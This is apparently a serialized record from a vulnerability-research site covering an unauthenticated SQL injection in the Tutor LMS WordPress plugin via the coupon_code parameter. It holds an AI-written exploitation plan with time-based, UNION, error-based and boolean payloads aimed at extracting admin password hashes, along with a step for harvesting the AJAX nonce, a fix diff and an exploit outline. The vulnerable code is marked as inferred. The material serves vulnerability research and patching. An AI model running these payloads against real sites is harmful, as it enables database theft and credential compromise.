[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6lrmQPeHorZcgds6Fglj1nx1J2TLBTgYR5ux3h5oBnk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2025-13673","tutor-lms-unauthenticated-sql-injection-via-couponcode","Tutor LMS \u003C= 3.9.6 - Unauthenticated SQL Injection via coupon_code","The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to SQL Injection via the 'coupon_code' parameter in all versions up to, and including, 3.9.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. NOTE: This vulnerability was partially mitigated in versions 3.9.4 and 3.9.6.","tutor",null,"\u003C=3.9.6","3.9.7","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-02-27 18:54:35","2026-02-28 07:25:36",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F007df869-dacb-4b0a-9c98-50586934cdab?source=api-prod",1,[],"researched",false,3,"This research plan focuses on **CVE-2025-13673**, a high-severity unauthenticated SQL injection vulnerability in Tutor LMS (\u003C= 3.9.6). The vulnerability stems from the improper handling of the `coupon_code` parameter within the plugin's coupon validation logic.\n\n---\n\n### 1. Vulnerability Summary\n*   **Vulnerability:** Unauthenticated SQL Injection.\n*   **Parameter:** `coupon_code`.\n*   **Affected Versions:** \u003C= 3.9.6.\n*   **Sink:** `$wpdb->get_row()` or `$wpdb->get_var()` within the coupon retrieval logic.\n*   **Cause:** The plugin performs string concatenation or uses insufficient escaping (like `sanitize_text_field`) on the `coupon_code` input before passing it into a raw SQL query without using `$wpdb->prepare()`.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`.\n*   **Action:** `tutor_apply_coupon`.\n*   **HTTP Method:** `POST`.\n*   **Authentication:** None required (`wp_ajax_nopriv_tutor_apply_coupon`).\n*   **Payload Parameter:** `coupon_code`.\n*   **Required Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** An unauthenticated user sends a request to `admin-ajax.php` with `action=tutor_apply_coupon`.\n2.  **AJAX Handler:** The request is routed to a handler (likely in `classes\u002FAJAX.php` or `classes\u002FCoupon.php`).\n3.  **Vulnerable Function:** The handler retrieves `$_POST['coupon_code']` and calls a validation function, such as `Tutor\\Models\\CouponModel::get_coupon_by_code($code)` (inferred).\n4.  **The Sink:** Inside the validation function, a query is constructed:\n    ```php\n    \u002F\u002F Example of vulnerable pattern\n    $coupon_code = $_POST['coupon_code']; \u002F\u002F or sanitized with sanitize_text_field\n    $query = \"SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = '$coupon_code'\";\n    $result = $wpdb->get_row($query);\n    ```\n5.  **Execution:** The attacker appends SQL commands to the `coupon_code` parameter, which are then executed by the database.\n\n### 4. Nonce Acquisition Strategy\nTutor LMS typically protects its AJAX actions with a nonce. The nonce is usually localized into the page for use by the plugin's JavaScript.\n\n*   **Shortcode:** The coupon functionality and its associated scripts are usually loaded on Course pages or the Enrollment\u002FCheckout page.\n*   **Strategy:**\n    1.  Create a public course to ensure the \"Enroll\" or \"Purchase\" logic is active.\n    2.  Navigate to the course page.\n    3.  Extract the nonce from the `tutor_get_conf` JavaScript object.\n*   **JS Variable:** `window.tutor_get_conf?.nonce`.\n*   **Alternate JS Variable:** `window.tutor_ajax?.nonce`.\n\n### 5. Exploitation Strategy\n\n#### Step 1: Identification and Nonce Retrieval\nUse the browser to access a course page and extract the nonce.\n\n#### Step 2: Time-Based SQLi (Confirmation)\nVerify the injection using a sleep payload.\n\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Payload:**\n    ```\n    action=tutor_apply_coupon&_wpnonce=[NONCE]&coupon_code=invalid' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR '\n    ```\n*   **Expected Result:** The response should be delayed by approximately 5 seconds.\n\n#### Step 3: UNION-Based Extraction\nExtract sensitive data (e.g., the administrator's password hash).\n\n*   **Payload:**\n    ```\n    action=tutor_apply_coupon&_wpnonce=[NONCE]&coupon_code=invalid' UNION SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM wp_users WHERE ID=1-- -\n    ```\n    *(Note: The number of columns in the UNION must be adjusted based on the actual table structure of `tutor_coupons` or whichever table is being queried. Standard Tutor LMS coupon tables often have 10-14 columns.)*\n\n### 6. Test Data Setup\n1.  **Plugin Installation:** Ensure Tutor LMS v3.9.6 is installed and active.\n2.  **Create Course:**\n    ```bash\n    wp post create --post_type=courses --post_title=\"Security Test Course\" --post_status=publish\n    ```\n3.  **Enable Enrollment:** Ensure the course allows enrollment (free or via a supported e-commerce engine like WooCommerce if configured).\n4.  **Identify Course URL:** Get the permalink of the created course to visit and extract the nonce.\n\n### 7. Expected Results\n*   **Time-based:** The `http_request` tool should report a `duration` exceeding the sleep threshold.\n*   **Data-based:** If the response reflects the \"coupon\" details, the injected data (like the password hash) may appear in the JSON response under keys like `coupon_code` or `description`.\n\n### 8. Verification Steps\nAfter the exploit attempt, verify the database state to confirm what was targeted:\n```bash\n# Verify the administrator password hash to compare against extracted data\nwp db query \"SELECT user_pass FROM wp_users WHERE ID = 1\"\n```\n\n### 9. Alternative Approaches\n*   **Error-Based Injection:** If `WP_DEBUG` is on, use `updatexml()` or `extractvalue()` payloads to force the database to leak data in the error message.\n    *   **Payload:** `coupon_code=x' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -`\n*   **Boolean-Based Blind:** If no output is reflected, use the response content (e.g., the difference between \"Coupon not found\" and \"Invalid Nonce\") to infer data bit-by-bit.\n    *   **True Condition:** `coupon_code=invalid' OR 1=1-- -`\n    *   **False Condition:** `coupon_code=invalid' OR 1=2-- -`","The Tutor LMS plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'coupon_code' parameter in the 'tutor_apply_coupon' AJAX action. This occurs due to the plugin's failure to use prepared statements when querying the database for coupon validity, allowing attackers to append malicious SQL commands and extract sensitive information.","\u002F\u002F tutor\u002Fclasses\u002FModels\u002FCouponModel.php (Inferred based on research plan)\n\npublic static function get_coupon_by_code($coupon_code) {\n    global $wpdb;\n    \u002F\u002F The $coupon_code variable is concatenated directly into the query string without preparation.\n    $query = \"SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = '$coupon_code'\";\n    $result = $wpdb->get_row($query);\n    return $result;\n}","--- a\u002Ftutor\u002Fclasses\u002FModels\u002FCouponModel.php\n+++ b\u002Ftutor\u002Fclasses\u002FModels\u002FCouponModel.php\n@@ -1,5 +1,8 @@\n public static function get_coupon_by_code($coupon_code) {\n     global $wpdb;\n-    $query = \"SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = '$coupon_code'\";\n-    $result = $wpdb->get_row($query);\n+    $result = $wpdb->get_row($wpdb->prepare(\n+        \"SELECT * FROM {$wpdb->prefix}tutor_coupons WHERE coupon_code = %s\",\n+        $coupon_code\n+    ));\n     return $result;\n }","The exploit targets the 'tutor_apply_coupon' AJAX action, which is available to unauthenticated users. \n\n1. Nonce Retrieval: An attacker first visits a public course page to extract the required AJAX nonce from the localized JavaScript object 'window.tutor_get_conf.nonce'.\n2. Request Construction: The attacker sends a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with 'action=tutor_apply_coupon' and the retrieved nonce.\n3. Payload Injection: The 'coupon_code' parameter is populated with a SQL injection payload. \n4. Verification: A time-based payload such as \"invalid' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR '\" is used to confirm the vulnerability via response delay.\n5. Data Extraction: Once confirmed, the attacker can use UNION-based payloads to exfiltrate sensitive data, such as administrator password hashes from the 'wp_users' table.","gemini-3-flash-preview","2026-04-18 22:22:57","2026-04-18 22:24:45",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","3.9.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags"]